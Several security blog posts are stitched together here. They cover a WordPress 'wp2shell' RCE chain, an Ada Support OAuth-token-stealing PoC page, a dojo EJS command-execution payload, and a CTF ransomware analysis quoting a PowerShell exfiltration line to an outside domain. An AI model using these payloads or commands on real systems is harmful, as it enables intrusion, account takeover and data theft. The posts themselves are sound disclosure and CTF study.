A technical walkthrough of the wp2shell chain, where two small bugs in the WordPress REST API turn into unauthenticated remote code execution on a default install. Original discovery by Adam Kues and Patrik Grobshäuser at Assetnote. The proof of concept discussed here was built with Claude.

Credit first, because it matters. This chain is the work of Adam Kues and Patrik Grobshäuser at Assetnote, the research arm of Searchlight Cyber. They named it wp2shell, reported it to WordPress, and put a checker up at wp2shell.com. This post is a technical breakdown of how the chain works, based on a proof of concept built with Claude to understand each step.

The short version: an unauthenticated attacker reaches remote code execution on a completely default WordPress install. No plugins, no non default config, no credentials. Just one published post, which every install has by default thanks to good old "Hello World".

Worth calling out up front: most public PoCs at this time lean on a non default MySQL configuration, for example a setup that allows writing files to disk from the database. This chain does not. It works against a 100% default WordPress and MySQL configuration, which is exactly what makes it dangerous at scale.

Affected versions are WordPress 6.9.0 through 6.9.4 and 7.0.0 through 7.0.1. It was patched in 6.9.5 and 7.0.2 on July 17, 2026. If you run WordPress, update first, then read on.

Fair warning, this one is long. The chain has a lot of moving parts.

Proof of Concept is hosted on Github: https://github.com/yoerivegt/wp2shell-poc

The two ingredients

The chain starts with two vulnerabilities that feed into each other.

The first (CVE-2026-63030) is an array misalignment in the REST batch processor. It lets a sub request get dispatched through the wrong route handler. The second (CVE-2026-60137) is a SQL injection in WP_Query that only becomes reachable because of that misalignment.

On their own, one is a logic slip and the other is unreachable. Together they produce a pre auth SQL injection, and that is the foothold the rest of the chain builds on.

Bug 1: the REST batch array misalignment

The batch endpoint lives at /wp-json/batch/v1. It takes a list of sub requests and processes them together. Internally this happens in two phases: first it matches every sub request to a route handler, then it dispatches them.

Here is the route matching phase, simplified:

// Route-matching phase (simplified)
foreach ($requests as $single_request) {
    if (is_wp_error($single_request)) {
        $has_error    = true;
        $validation[] = $single_request;
        continue;                          // <-- $matches[] is NOT appended
    }
    $match     = $this->match_request_to_handler($single_request);
    $matches[] = $match;                   // <-- sequential append
    // ... validation ...
}

Note the continue. When a sub request path fails wp_parse_url(), it is recorded as a WP_Error and the loop skips ahead. It appends to $validation[] and then bails out before appending to $matches[]. So $matches ends up one entry shorter than $requests.

Now the dispatch phase:

// Dispatch phase
foreach ($requests as $i => $single_request) {
    if (is_wp_error($single_request)) {
        // ... handle error ...
        continue;
    }
    // ...
    $match = $matches[$i];                 // <-- MISALIGNED: request index into shorter matches array
}

The dispatch loop walks $requests by index $i and reaches into $matches with that same $i. But $matches is missing the failed entries. Every failed parse shifts all following matches by one, so request number $i gets dispatched using the handler that was matched for request $i+1.

In other words, one malformed path acts as a desync primer. It bumps the whole handler list out of alignment, and the sub request right after it runs through the wrong route.

Here is what that looks like:

Batch sub-requests:        Route matched:         Dispatched as:
─────────────────────      ──────────────         ─────────────────
[0] POST http://:          (WP_Error, skipped)    → error response
[1] GET  /wp/v2/widgets    $matches[0] = widgets  → $matches[1] = posts handler
[2] GET  /wp/v2/posts      $matches[1] = posts    → $matches[2] = next handler

Sub request [1] asks for /wp/v2/widgets, but thanks to the shift it actually runs through the /wp/v2/posts handler. The reason widgets and posts matter specifically is bug number two.

Bug 2: the SQL injection hiding in author__not_in

The posts collection has a parameter called author_exclude. The posts schema defines it strictly as an array of integers, so normally it is safe. WordPress runs every element through absint().

Here is the relevant code in WP_Query::get_posts():

if (!empty($query_vars['author__not_in'])) {
    if (is_array($query_vars['author__not_in'])) {
        // Array path: each element gets absint() — SAFE
        $query_vars['author__not_in'] = array_unique(array_map('absint', $query_vars['author__not_in']));
    }
    // String path: cast to (array) wraps the whole string as one element — NO SANITIZATION
    $author__not_in = implode(',', (array) $query_vars['author__not_in']);
    $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}

Look at the is_array() guard. The absint() sanitization only runs when the value is an array. If author__not_in arrives as a plain string, the guard fails, the string skips sanitization entirely, and it lands inside a NOT IN (...) SQL clause with no parameterization and no escaping.

Getting a string in there when the schema demands an array is where the two bugs meet. The widgets endpoint has author_exclude in its schema too, but the widgets schema is looser and accepts it as a raw string. So a widgets sub request carries author_exclude as a string, passes the widgets validation because that is legal for widgets, and then the batch misalignment dispatches it through the posts handler. The posts handler reads author_exclude, maps it to WP_Query's author__not_in, and drops the raw string into SQL.

The validation checked one schema. The dispatch used a different handler. That is the whole trick.

Since the value lands inside NOT IN (...), closing the parenthesis lets arbitrary SQL follow:

author_exclude=999) UNION ALL SELECT ... -- -

That is a pre authentication SQL injection on a stock WordPress install.

From SQLi to admin

A read only SQL injection is already serious, since it exposes the whole database. Reaching RCE needs an administrator account, without knowing any existing credentials. The chain builds one by making WordPress attack itself, using its own object cache, oEmbed system, Customizer, and a hook that collides with the REST router.

A quick primer first. WordPress keeps a per request object cache. When WP_Query runs, it stores the rows it read so later calls to get_post($id) in the same request do not hit the database again. That cache is what gets poisoned below.

Step 1: seeding real database rows with oEmbed

A UNION injection can invent fake rows in query results, but those fakes only live in the object cache. Several steps of the chain need to write to real database rows, so the chain first creates a few real rows with known IDs.

WordPress is its own oEmbed provider. If a post contains an [embed] shortcode pointing at a URL on the same site, WordPress fetches that URL over loopback and caches the result as an oembed_cache post, which is a real row in wp_posts.

So a trigger post is injected whose content holds three embed shortcodes pointing back at the site, each with a different fragment so they get unique cache keys:

[embed width="500" height="750"]http://target/hello-world/#nonce0[/embed]
[embed width="500" height="750"]http://target/hello-world/#nonce1[/embed]
[embed width="500" height="750"]http://target/hello-world/#nonce2[/embed]

Rendering that post through the REST API with context=view makes WordPress process the shortcodes, producing three fresh oembed_cache rows. Their IDs are pulled back out with the SQL injection, and each gets a role in the "poison graph":

Step 2: poisoning the object cache

A second batch request injects seven fake wp_posts rows via UNION ALL SELECT, each with the full 23 column schema. When WP_Query processes the UNION results, WordPress calls update_post_cache(), which calls wp_cache_add_multiple(), and every fake row gets stored in the object cache under the posts group. From that point on, any get_post($id) for those IDs returns the fake data instead of querying the database.

The important properties:

• changeset_id and outer_id form one circular parent chain. changeset_id is a real oEmbed row, outer_id is a fake high ID that only exists in cache.
• request_id and inner_id form a second circular parent chain. request_id is also a real oEmbed row.
• cache_id points its parent at changeset_id, linking the oEmbed update path to the first loop.
• nav_item_id points its parent at request_id, linking the changeset save path to the second loop.
• changeset_id is typed as customize_changeset with status future, and its content holds a Customizer payload with a nav_menu_item setting whose user_id is the real administrator's ID.
• request_id is typed as request with status parse.

Two circular chains, two triggers, one goal.

Step 3: springing the first hierarchy loop

The trigger post's second embed maps to cache_id. When WordPress processes that cached embed, it calls wp_update_post(cache_id) to refresh the timestamp.

wp_update_post() reads the post from the poisoned cache and sees post_parent=changeset_id. Inside wp_insert_post() the wp_insert_post_parent filter fires, which runs wp_check_post_hierarchy_for_loops(). That walker follows the parent chain through the poisoned cache:

cache_id → parent: changeset_id → parent: outer_id → parent: changeset_id → LOOP DETECTED

Here is the key behavior. WordPress fixes the loop by calling wp_update_post() on every member to zero out its parent:

foreach (array_keys($loop) as $loop_member) {
    wp_update_post(array('ID' => $loop_member, 'post_parent' => 0));
}

So the loop breaker calls wp_update_post(changeset_id). It reads the poisoned cache, sees post_type=customize_changeset and post_status=future, and because changeset_id is a real database row, the UPDATE sticks. WordPress then computes the effective status. Because post_date is set to 2020-01-01, which is in the past, the future status silently flips to publish:

if ('future' === $post_status) {
    if (time() > strtotime($post_date_gmt)) {
        $post_status = 'publish';
    }
}

That produces a genuine future to publish transition on a Customizer changeset. WordPress believes a scheduled changeset came due.

Step 4: the admin identity switch through the Customizer

A future to publish transition on a changeset fires _wp_customize_publish_changeset(). This function reads the changeset content (poisoned cache again), finds the nav_menu_item setting with the administrator's user_id, and starts publishing settings. Here is what it does for each one:

$original_user_id = get_current_user_id();
foreach ($changeset_setting_ids as $setting_id) {
    $setting = $this->get_setting($setting_id);
    if ($setting) {
        if (isset($setting_user_ids[$setting_id])) {
            wp_set_current_user($setting_user_ids[$setting_id]);  // ← SWITCH TO ADMIN
        }
        $setting->save();
    }
}
wp_set_current_user($original_user_id);  // ← RESTORE (too late if re-entry happened)

wp_set_current_user() switches the running PHP process to the targeted administrator before saving the setting. This is intentional, since it preserves the original author's capabilities during a scheduled publish. But this is happening inside a live unauthenticated request, and the process is now running as admin. The restore only fires after $setting->save() returns, so the goal is to never let it return until the damage is done.

Step 5: springing the second loop mid save

When $setting->save() processes the nav_menu_item setting, it calls wp_update_nav_menu_item(), which calls wp_update_post(nav_item_id).

The poisoned cache says nav_item_id's parent is request_id, the hierarchy check runs, and it hits the second loop:

nav_item_id → parent: request_id → parent: inner_id → parent: request_id → LOOP DETECTED

The loop breaker calls wp_update_post(request_id). Real row again, so the write sticks, and request_id becomes post_type=request, post_status=parse. All of this while the process still holds the admin identity, because $setting->save() has not returned yet.

Step 6: the hook collision that re-enters the REST API

This is the piece that makes the whole thing click. After that update, WordPress fires its dynamic status transition hook:

do_action("{$new_status}_{$post->post_type}", $post->ID, $post);

Plug in the values. $new_status is parse and post_type is request, so this becomes:

do_action('parse_request', $post_id, $post);

parse_request is not an obscure custom hook. It is a core routing action, and rest_api_loaded() is registered on it:

function rest_api_loaded() {
    if (empty($GLOBALS['wp']->query_vars['rest_route'])) {
        return;
    }
    $server = rest_get_server();
    $route = untrailingslashit($GLOBALS['wp']->query_vars['rest_route']);
    $server->serve_request($route);
    die();
}

The request is already inside a REST call, so rest_route is still set to /batch/v1. rest_api_loaded() sees it and calls serve_request() again. That is a nested REST dispatch, running inside the first one, still carrying the administrator identity because the restore in step 4 has not fired.

A post type and status whose names collide into a core hook made WordPress re enter its own router.

Step 7: creating the administrator

The nested dispatch re processes the batch, including the tail sub requests stuffed at the end. One of those is a plain POST /wp/v2/users asking for an administrator role.

Under the nested dispatch, current_user_can('create_users') returns true, because the process is the admin. WordPress creates the account. Then the die() at the end of rest_api_loaded() kills the process before the identity restore can run, but the user is already in the database.

An unauthenticated request comes in, admin credentials come out.

Step 8: admin to shell

The rest is standard WordPress admin to RCE. With the new account the exploit logs into wp-login.php, uploads a plugin zip containing a token gated webshell, runs OS commands as the web server user, then removes the plugin directory to clean up.

PoC

The full chain running end to end:

$ python3 wp2shell.py http://target:9993 --cmd "id"
  Phase 1: Confirm Pre-Auth SQL Injection
  [+] SQL injection confirmed (union mode)
  Phase 2: Extract DB Info + Seed oEmbed Cache
  [+] Table: `wp_posts` (prefix: `wp_`)
  [+] Admin ID: 1
  [+] Backing IDs: changeset=5, cache=6, request=7
  Phase 3: Cache Poisoning → Admin User Creation
  [+] Batch returned HTTP 207
  Phase 4: Login + RCE
  [+] Authenticated!
  [+] Webshell deployed
  uid=33(www-data) gid=33(www-data) groups=33(www-data)

Proof of Concept is hosted on Github: https://github.com/yoerivegt/wp2shell-poc

Tested and confirmed on:

What the chain needs to work

Not much, which is the concerning part.

• WordPress 6.9.0 to 6.9.4 or 7.0.0 to 7.0.1, unpatched
• Default configuration, no extra plugins or hardening
• A MySQL backend, since the UNION ALL SELECT needs column count parity with wp_posts
• At least one published post, and the default "Hello World" post is enough
• The server able to reach itself over loopback for the oEmbed fetch, which is the default basically everywhere

Note the difference from most public PoCs floating around at this time. Those typically require a non default MySQL setup, for example one that permits writing files to disk (FILE privilege, secure_file_priv, and so on) to drop a webshell straight from the database. This chain needs none of that. It escalates purely through WordPress's own object cache and hook behavior, so a stock WordPress on a stock MySQL is enough.

Impact

An unauthenticated remote attacker can create an administrator account and run arbitrary commands as the web server user. That is full compromise of the WordPress site, and depending on the host, potentially the server it runs on. CVSS 9.8, network reachable, low complexity, no privileges required.

Root cause

The trigger is one tiny data structure mismatch. In serve_batch_request_v1(), the $requests, $matches, and $validation arrays grow at different rates when a sub request fails URL parsing. The continue skips the $matches[] append but not the $validation[] one, so request indices and handler indices drift apart.

That single off by N shift breaks the whole security model of the batch endpoint. Every sub request is validated against its own route's schema, but if it then gets dispatched through a different route's handler, that validation means nothing. A widgets request passes widgets validation, then runs through the posts handler and drops an unsanitized string into WP_Query.

The jump from SQL injection to RCE leans on four WordPress behaviors that are each reasonable on their own:

1. UNION injected rows poison the object cache, because update_post_cache() uses add semantics and the fakes survive the rest of the request.
2. Hierarchy loop detection calls wp_update_post() on loop members, which reads the poisoned cache and writes attacker data to real rows.
3. Changeset publishing calls wp_set_current_user() before saving each setting, which is intentional but dangerous when triggered mid request.
4. Dynamic hooks can collide with core hooks. The {$status}_{$post_type} pattern lets post_status=parse plus post_type=request fire the core parse_request action, which re enters the REST dispatcher.

None of these is a vulnerability by itself. Chained, they are a pre auth RCE. The scariest bugs are rarely one big hole, they are a handful of sensible decisions lined up in exactly the wrong order.

Remediation

If you run WordPress, the fix is boring and effective: update to 6.9.5 or 7.0.2. The patch realigns the batch arrays so a failed sub request no longer shifts the handlers of the ones after it, which shuts the front door and takes the entire chain with it.

For anyone maintaining similar code, two takeaways. Never index one array with the loop counter of another array that can grow at a different rate. And never assume a value validated against one schema will be consumed by the handler you expected, especially in a batching or routing layer.

Outro

This chain starts with a bug you could miss in a code review in half a second, a single misplaced continue, and it ends with WordPress logging itself in as admin and running commands. Object cache, oEmbed, the Customizer, and a hook name collision, all turned into weapons.

Full credit for the discovery goes to Adam Kues and Patrik Grobshäuser at Assetnote and Searchlight Cyber.

Disclaimer: this post was written by Claude, and the proof of concept was built with Claude, based on the original wp2shell discovery by Adam Kues and Patrik Grobshäuser at Assetnote and Searchlight Cyber.

During a recent bug bounty session of testing a support chat system, I discovered a misconfiguration in the Ada Support iframe allowlist. This issue could be exploited to steal OAuth tokens and sensitive user data.

Ada Support allows companies to embed its AI-powered chat widget on their websites via embed2.js. To prevent abuse, Ada Support uses an iframe allowlist that defines which domains can embed a particular company’s support chat.

Unfortunately, one of the domains in this allowlist was left unclaimed, making it possible for an attacker to register the domain and host a malicious proof-of-concept (PoC).

Vulnerability Overview

The chat widget in question was tied to an e-commerce platform’s customer support system. By registering the unclaimed domain randomdomainname123.com, it became possible to:

1. Embed the official Ada Support widget on the attacker-controlled domain.
2. Trick users into interacting with the real customer support chat.
3. Capture OAuth access tokens, refresh tokens, and chat transcripts once the user authenticated via the legitimate login flow.

Since the chat system integrates directly with the company’s oauth login system, this allowed full takeover of a victim’s authenticated session.

Proof of Concept

A PoC was hosted on the claimed domain:

http://randomdomainname123.com/poc.html:

<!doctype html>
<html>
  <head>
    <meta charset="utf-8" />
    <title>Ada PoC</title>
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <style>body{font-family:system-ui,Arial,sans-serif;margin:2rem}</style>
  </head>
  <body>
    <h1>Ada PoC on claimed domain</h1>
    <p>This page loads the target’s Ada web chat.</p>

    <!-- Ada Embed2 loader (use the exact snippet from Installation tab) -->
    <script id="ada-config" data-nscript="afterInteractive"></script>
    <script src="//static.ada.support/embed2.js" async="true" id="__ada" data-handle="[company-name]" data-nscript="afterInteractive"></script>
    <script>
        window.adaSettings = window.adaSettings || {};
        window.adaSettings.adaReadyCallback = () => {
                window.adaEmbed.subscribeEvent("ada:end_conversation", (data, context) => {
                        console.log("The conversation has been ended by the user.");
                        console.log("Chatter ID: ", data.chatter_id);
                        console.log("Chat Data: ", data.event_data);
                        console.log("Chat Transcript: ", data.event_data.chatter_transcript);
                        document.body.innerText = JSON.stringify(data.event_data, null, 2);
                });
        };
    </script>
  </body>
</html>

As you can see, when the ada support chat is closed, the chat data (data.event_data) is dumped to the console. This event data contains the oauth authentication bearer tokens.

Steps to Reproduce:

1. Navigate to the PoC URL.
2. Start a support chat as a “normal” user.
3. When prompted to log in (via the OAuth flow), complete the login process.
4. After ending the chat, sensitive data such as access tokens, refresh tokens, and chat transcripts were logged to the console and displayed in the page’s innerHTML for easy demonstration.

This effectively bypassed intended protections by leveraging Ada’s trust in an outdated/unmonitored allowlist domain.

The dumped object with the access tokens looked something like this, where the access token and id token were authentication tokens for my target:

{
  "user_data": {
    "all_data": {
      "initialurl": "http://randomdomainname123.com/poc.html",
      "access_token": "eyJh...",
      "id_token": "eyJh...",
      "refresh_token": "0d...",
      "auth_token_type": "Bearer",
      "auth_scope": "['openid', 'profile', 'email', 'offline_access']"
    },
    "event_name": "END_CONVERSATION"
  }
}

Technical Details

Allowed Domains Leak

Ada Support provides a JSON configuration endpoint that shows the domains allowed to embed a given chat system. For this instance, the list was available at:

https://rollout.ada.support/[company-name]/client.json?ada_request_origin=embed

Searching within that configuration revealed:

"allowed_domains": [
  "company.com",
  "alloweddomain.net",
  "randomdomainname123.com",
  ...
]

Since randomdomainname123.com was not owned by the company, it could be registered and exploited.

Conclusion

By claiming an overlooked allowlist domain, attackers could steal access tokens and sensitive user data through a legitimate-appearing customer support chat.

Although exploiting this issue required several user interactions (visiting my site, engaging with the chat, and going through the login flow), I found the bug particularly interesting, as OAuth token leaks through third-party widgets isn't something I've ever come across. By reporting this bug to some bug bounty programs, I've earned a nice bit of cash.

Always monitor and verify the security of domains listed in allowlists. An expired or unclaimed entry may be all an attacker needs to compromise your users.

Hey everyone!

I'm always on the lookout for new techniques to expand the attack surface for my bug bounty targets. While reviewing my old notes, I came across a very interesting and, as far as I know, unique method for discovering domain names owned by companies.

Short introduction

Every domain has it's own NS records. NS records tell the Internet where to go to find out a domain's IP address. Companies may own many domains, which not all of them have the company's name in their domain name. We can find them, by reverse-searching those Name Servers.

Every domain has its own NS (Name Server) records. These records tell the Internet where to look to find a domain's IP address. Companies often own multiple domains, many of which may not include the company's name in their URLs. However, we can uncover these domains by performing a reverse search on their Name Servers. It's quite cool!

PoC || GTFO

Let’s get hands-on! For this example, I’ll be using hackerone.com as the target. First, we need to retrieve the Name Server (NS) records for hackerone.com. This can be done using the dig tool:

dig ns hackerone.com

This commands returns two ns records in the ANSWERS section:

;; ANSWER SECTION:
hackerone.com.          86400   IN      NS      a.ns.hackerone.com.
hackerone.com.          86400   IN      NS      b.ns.hackerone.com.

The NS records returned are a.ns.hackerone.com and b.ns.hackerone.com. These are unique to our target company, which is a fortunate scenario for us. However, in some cases, you might encounter shared Name Servers, such as those provided by Akamai. When that happens, it becomes nearly impossible to determine which domains belong to a specific company.

Let's continue! We can use these two nameservers with the sharedns.asp.gg api, to find out what other domains belong to these NS':

curl -s -H 'Content-Type: application/json' --data-raw '{"name_servers":["a.ns.hackerone.com","b.ns.hackerone.com"]}' https://sharedns.asp.gg/api/v1/search | jq

This query, in my case, returned a total of 815 unique domain names. Here are a few examples:

breaker101.com
wearehackebone.com
theinternetbugbounty.com
inverselink.com
together-we-hit-harder.com
zerodaily.net

and many other cool ones! Go give it a try yourself!

Outro

As you can imagine, this API can be incredibly powerful. For instance, Cloudflare assigns each customer a (mostly) unique set of NS records, which works to our advantage! However, as mentioned earlier, some providers use shared NS records. In those cases, it becomes impossible to determine which domains are owned by a specific company.

I highly recommend exploring this API on your own, as it offers significant potential for uncovering valuable information. However, always use it responsibly! Additionally, keep in mind that I don’t own this API, so exercise caution with any data you send to it.

Cheers! Have fun!🎉

https://aasdfasdfasddf.s3.amazonaws.com/

https://aasdfasdfasddf.s3.amazonaws.com/

dream big

In this post, I'll be describing the exploitation of the YesWeHack dojo #35, called Chatroom.

Description

Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In this attack, the attacker-supplied operating system commands are usually executed with the privileges of the vulnerable application. Command injection attacks are possible largely due to insufficient input validation.

In the context of this application, Dojo-35, the vulnerability lays in the fact that user input was being set as a filename, making it possible to path traverse. Abusing that, we could overwrite a file which was being imported and executed by the application, to gain Remote Code Execution on the target.

Exploitation

First of all, looking at the Message class in the code, we can see a variable being used to set a file path. The this.to variable is used to set the file path name, whilst the this.msg is being used to set the contents of the file:

class Message {
...
    makeDraft() {
        this.file = path.basename(`${Date.now()}_${this.to}`)
        fs.writeFileSync(this.file, this.msg)
    }
...
}

This path variable later gets read out by the getDraft() function:

    getDraft() {
        return fs.readFileSync(this.file)
    }

The this.to variable gets set from a json object, which is the Dojo's input, which gets send to the Message class:

const userData = decodeURIComponent("input")

var data = {"to":"", "msg":""}
if ( userData != "" ) {
    try {
        data = JSON.parse(userData)
    } catch(err) {
        console.error("Error : Message could not be sent!")
    }
}

var message = new Message(data["to"], data["msg"])

Due to the to variable being used in the path variable, it's possible to perform a path traversal, with for example the following payload: a/../../../../../../../../tmp/flag.txt
However, when setting this as the to input variable, it simply overwrites the flag file, rendering it useless for us.

To further abuse this path traversal vulnerability, we can abuse the last line of the dojo:

console.log( ejs.render(fs.readFileSync('index.ejs', 'utf8'), {message: message.msg}) )

This piece of code imports the ./index.ejs file, and "renders" it with ejs. The contents of the file gets set with the msg input variable. Glueing this together, we can path traverse to ./index.js, and set the contents of the file to be a EJS payload which reads out the flag file, by executing a system command.

PoC||gtfo

My Proof of Concept payload is the following:

{"to":"a/../index.ejs", "msg":"<%=global.process.mainModule.constructor._load(`child_process`).execSync(`cat /tmp/flag.txt`).toString()%>"}

So we use the to input variable to path traverse over to the ./index.ejs file, and set the contents of that file to some executable EJS script, to gain command execution on the application.

This Proof of Concept payload cats out the /tmp/flag.txt file:

FLAG{W1th_Cr34t1vity_C0m3s_RCE!!}

Risk

The risk of Remote Code Execution, are, and not limited to: data theft, system compromise, denial of service, reputation damage.

These risks can lead to significant financial loss, operational disruption, and legal consequences. RCE vulnerabilities can be exploited by attackers to gain unauthorized access to sensitive information, take control of systems, disrupt services, and damage an organization's reputation.

Remediation

To remedate this vulnerable, there are a few options:

1. You can set a server side check whether the to input variable only contains letters and numbers, for example this regex check: [a-zA-Z0-9_-]*
2. Instead of writing data to a file, write it to a database, like Mysql or PostgreSQL, however, you should make sure to prevent SQL injections if you choose for this method
3. You can save the draft message client side, on the user's browser. This way, this vulnerability wouldn't exist, and you save bandwidth.

Thanks for reading!

Just a very short brag.

Me and my team SQLKinkjection managed to claim the first spot in the NahamCon Pre-CTF! I'm incredibly proud of this achievement. Thanks for Ben (aka Nahamsec) for creating this awesome event!

That's it, thanks!

During the process of deobfuscating the powershell payload from the IR challenge, we noticed that the domain to which all the encrypted files were being sent was not yet claimed. Here's an explanation of how we received hundreds of decryptable files the CTF players sent us by running the encrypter.

How we did it

After we deobfuscated the first stage of the payload, we stumbled across this powershell code:

In the second-last line, you can see the following piece of powershell code:

Invoke-Webrequest -Method Post -Uri "https://www.thepowershellhacker.com/exfiltration" -Body $body

This line sends a variable called body to www.thepowershellhacker.com/exfiltration in a post request.

The variable body is specified a bit earlier in the code:

$zipFileBytes = Get-Content -Path ("C:\Users\"+$user+"\Downloads\Desktop.zip") -Raw -Encoding Byte
$zipFileData = [Convert]::ToBase64String($zipFileBytes)
$body = ConvertTo-Json -InputObject @{file=$zipFileData}

Here we can clearly see that a zip file from the desktop (containing every file from the desktop) gets encoded in Base64, and then transferred into a Json object.

Out of curiosity, we quickly checked if the domain thepowershellhacker.com was claimed, expecting it to be.

However, to our surprise, it wasn't!

A Dutch website to check if the domain is available for sale.

What now?

After we claimed the domain, we went ahead and set up a python web server, which would listen for incoming requests:

from flask import Flask, request, jsonify
import time

app = Flask(__name__)

@app.route('/exfiltration', methods=['POST'])
def result():

    fileName = str(time.time()) + '.base64.zip'
    f = open(fileName, 'w+')

    receivedFile = request.get_json(force=True)['file']
    f.write(receivedFile)

    f.close()
    return "", 200

if __name__ == '__main__':
    app.run(host="127.0.0.1", port=2001)

This python web server would receive the base64 encoded payload from the body, pull it out of the json object, and put it in a file.

What did we receive?

After the Nahamcon CTF ended, we went ahead and checked how many files we received:

We received a total of 600 files, that's insane!
Sadly, after mass decrypting all the files we received, we came to the conclusion that there are only 33 files that are from something other than this ctf.
Here's a list of all the files that were not part of the CTF challenge:

Ableton Live 11 Suite.lnk
asdf
ASDF
asdf.ps1
Autoruns.lnk
available_packages.txt
Bitdefender.lnk
config.xml
desktop.ini
failed_packages.txt
fakenet_logs.lnk
file.txt
flare-vm-4
Ghost Toolbox.lnk
HitmanPro.Alert.lnk
imac.py
kanker.txt
New Text Document.txt
nice.ps1
NPE.lnk
ProcessExplorer.lnk
PSDecode.ps1
QQ.lnk
readme.txt
TCPView.lnk
Telegram.lnk
test.txt
tes.txt
Tools.lnk
UpdateHealthTools.001.etl
UpdateHealthTools.001.evtx
x32dbg.lnk
x64dbg.lnk

A lot of these files end in .lnk, which means they are windows file shortcuts. They're not interesting.

After manually going through all the files, we concluded that nothing really of interest was captured. This means that almost everyone was smart enough to not run this on their own desktop environment but in the VM supplied by the Nahamcon CTF.

We'd also like to note that we didn't receive anything that could be identified back to a specific users, nor did we receive any sensitive files. Next to that, we'll destroy all the files and logs we've received.

Was this a waste of time?

No, this absolutely wasn't a waste of our time and resources. First of all, the CTF challenge in itself was already pretty fun to solve. Next to that, we quite enjoyed the process of making all of our quick and dirty tools. From the python web server, to the mass decoders. We're also delighted to see that almost everyone ran the "ransomware" in the Virtual Machine supplied by the CTF organizers, and not on their own machine.

We absolutely loved the process we went through by making this.

Avoiding such problems in the future

Adding web requests to a CTF challenge can add flavour and make it more engaging, but how to best avoid such mistakes?

• First of all, make sure you have full control over the domain or IP you include in the challenge.
• However, if that's not feasible, using a non-existent TLD, like hacker.d0main makes it impossible for someone to claim such a domain.
• Eventually, one can include an IPv4 address that starts with 127. For example, 127.13.65.78 and 127.84.65.183 both point to localhost, making sure the requests won't leave the competitor's machine.

We want to thank Nahamsec and John Hammond for making and hosting this Capture the Flag tournament. And we'd also like to thank @awesome10billion#1164 for making the forensics challenge. We quite enjoyed it.

Written by Yoeri & Chillz

One of my favorite Wizer CTF challenges was the Recipe Book challenge. You were served a quite small Node.js web app where you had to pop a JavaScript alert through postmessages and web workers. Although it seems like a weird combo, it was quite realistic and interesting!

I actually decided to go a step further than just the alert through postmessages, and eventually got full control over the content of the page.

Have fun reading my writeup!

Solving the challenge

Recon

We were first met with an app.js file in the challenge dashboard:

const express = require('express');
const helmet = require('helmet');
const app = express();
const port = 80;

// Serve static files from the 'public' directory
app.use(express.static('public'));
app.use(
    helmet.contentSecurityPolicy({
      directives: {
        defaultSrc: ["'self'"],
        scriptSrc: ["'self'", ],
        styleSrc: ["'self'", "'unsafe-inline'", 'maxcdn.bootstrapcdn.com'],
        workerSrc: ["'self'"]
        // Add other directives as needed
      },
    })
  );

// Sample recipe data
const recipes = [
    {
        id: 1,
        title: "Spaghetti Carbonara",
        ingredients: "Pasta, eggs, cheese, bacon",
        instructions: "Cook pasta. Mix eggs, cheese, and bacon. Combine and serve.",
        image: "spaghetti.jpg"
    },
    {
        id: 2,
        title: "Chicken Alfredo",
        ingredients: "Chicken, fettuccine, cream sauce, Parmesan cheese",
        instructions: "Cook chicken. Prepare fettuccine. Mix with cream sauce and cheese.",
        image: "chicken_alfredo.jpg"
    },
    // Add more recipes here
];

// Enable CORS (Cross-Origin Resource Sharing) for local testing
app.use((req, res, next) => {
    res.header("Access-Control-Allow-Origin", "*");
    res.header("Access-Control-Allow-Headers", "Origin, X-Requested-With, Content-Type, Accept");
    next();
});

// Endpoint to get all recipes
app.get('/api/recipes', (req, res) => {
    res.json({ recipes });
});

app.listen(port, () => {
    console.log(`API server is running on port ${port}`);
});

Looking through this code, nothing particularly stands out as of now. It seems to be serving a simple web app with some Content Security Policy (CSP) rules.

When we visit the challenge website, however, we are greeted with what seems to be a recipe book.

Looking at its source, we find a second app.js file. Because it's quite long, I've snipped it down to the most important bits for this challenge:

document.addEventListener('DOMContentLoaded', function () {

    // Get the "mode" and "color" GET parameters
    const searchParams = new URLSearchParams(location.search);
    const modeParam = searchParams.get('mode');
    const colorParam = searchParams.get("color");

    // Update the elements based on GET parameters
    if (modeParam !== null) {
        document.getElementById("mode").children[0].id = modeParam;
    }

    if (colorParam !== null && modeParam !== null) {
        document.getElementById(modeParam).textContent = colorParam;
    }

    // Get the mode element
    const modeElement = document.getElementById('mode');

    if (modeElement) {
        // Get the background color element
        let backgroundColorElement = document.getElementById('light');
        if (backgroundColorElement) {
            const backgroundColor = backgroundColorElement.innerText.trim();

            // Apply background color
            document.body.style.backgroundColor = backgroundColor;
        }

        backgroundColorElement = document.getElementById('dark');
        if (backgroundColorElement) {
            const backgroundColor = backgroundColorElement.innerText.trim();

            // Apply background color
            document.body.style.backgroundColor = backgroundColor;

            // Apply CSS inversion if it's a 'dark' mode
            document.getElementById('filter').style.filter = 'invert(100%)';
        }
    }
});

// Fetch and populate recipes when the page loads
document.addEventListener('DOMContentLoaded', () => {    
        // Service worker registration
        if ('serviceWorker' in navigator) {
            const sw = document.getElementById('sw').innerText;
            navigator.serviceWorker.register('sw.js?sw=' + sw)
                .then(registration => {
                    console.log('Service Worker registered with scope:', registration.scope);
                })
                .catch(error => {
                    console.error('Service Worker registration failed:', error);
                });
        }
});

const channel = new BroadcastChannel('recipebook');
channel.addEventListener('message', (event) => {
  alert(event.data.message);
});
  

The first important function in this JavaScript file takes two GET parameters, mode and color, which it uses for setting the theme of the page. These two parameters get reflected in the page's DOM as an HTML element ID and the text content of that ID.

document.addEventListener('DOMContentLoaded', function () {

    // Get the "mode" and "color" GET parameters
    const searchParams = new URLSearchParams(location.search);
    const modeParam = searchParams.get('mode');
    const colorParam = searchParams.get("color");

    // Update the elements based on GET parameters
    if (modeParam !== null) {
        document.getElementById("mode").children[0].id = modeParam;
    }

    if (colorParam !== null && modeParam !== null) {
        document.getElementById(modeParam).textContent = colorParam;
    }
});

The second important function of this app.js file registers service workers on the page. Service workers are scripts that run in the background of a web browser, independent of web pages, enabling features like push notifications, background sync, and caching to enhance the performance and user experience of web applications.

The page determines which service workers to load depending on the inner text value of the HTML element with the ID of "sw". It then tries to register that service worker. Please note the sw.js reference for later. Can you see what we're going with this yet? ;)

// Fetch and populate recipes when the page loads
document.addEventListener('DOMContentLoaded', () => {
		// [snip]    
        // Service worker registration
        if ('serviceWorker' in navigator) {
            const sw = document.getElementById('sw').innerText;
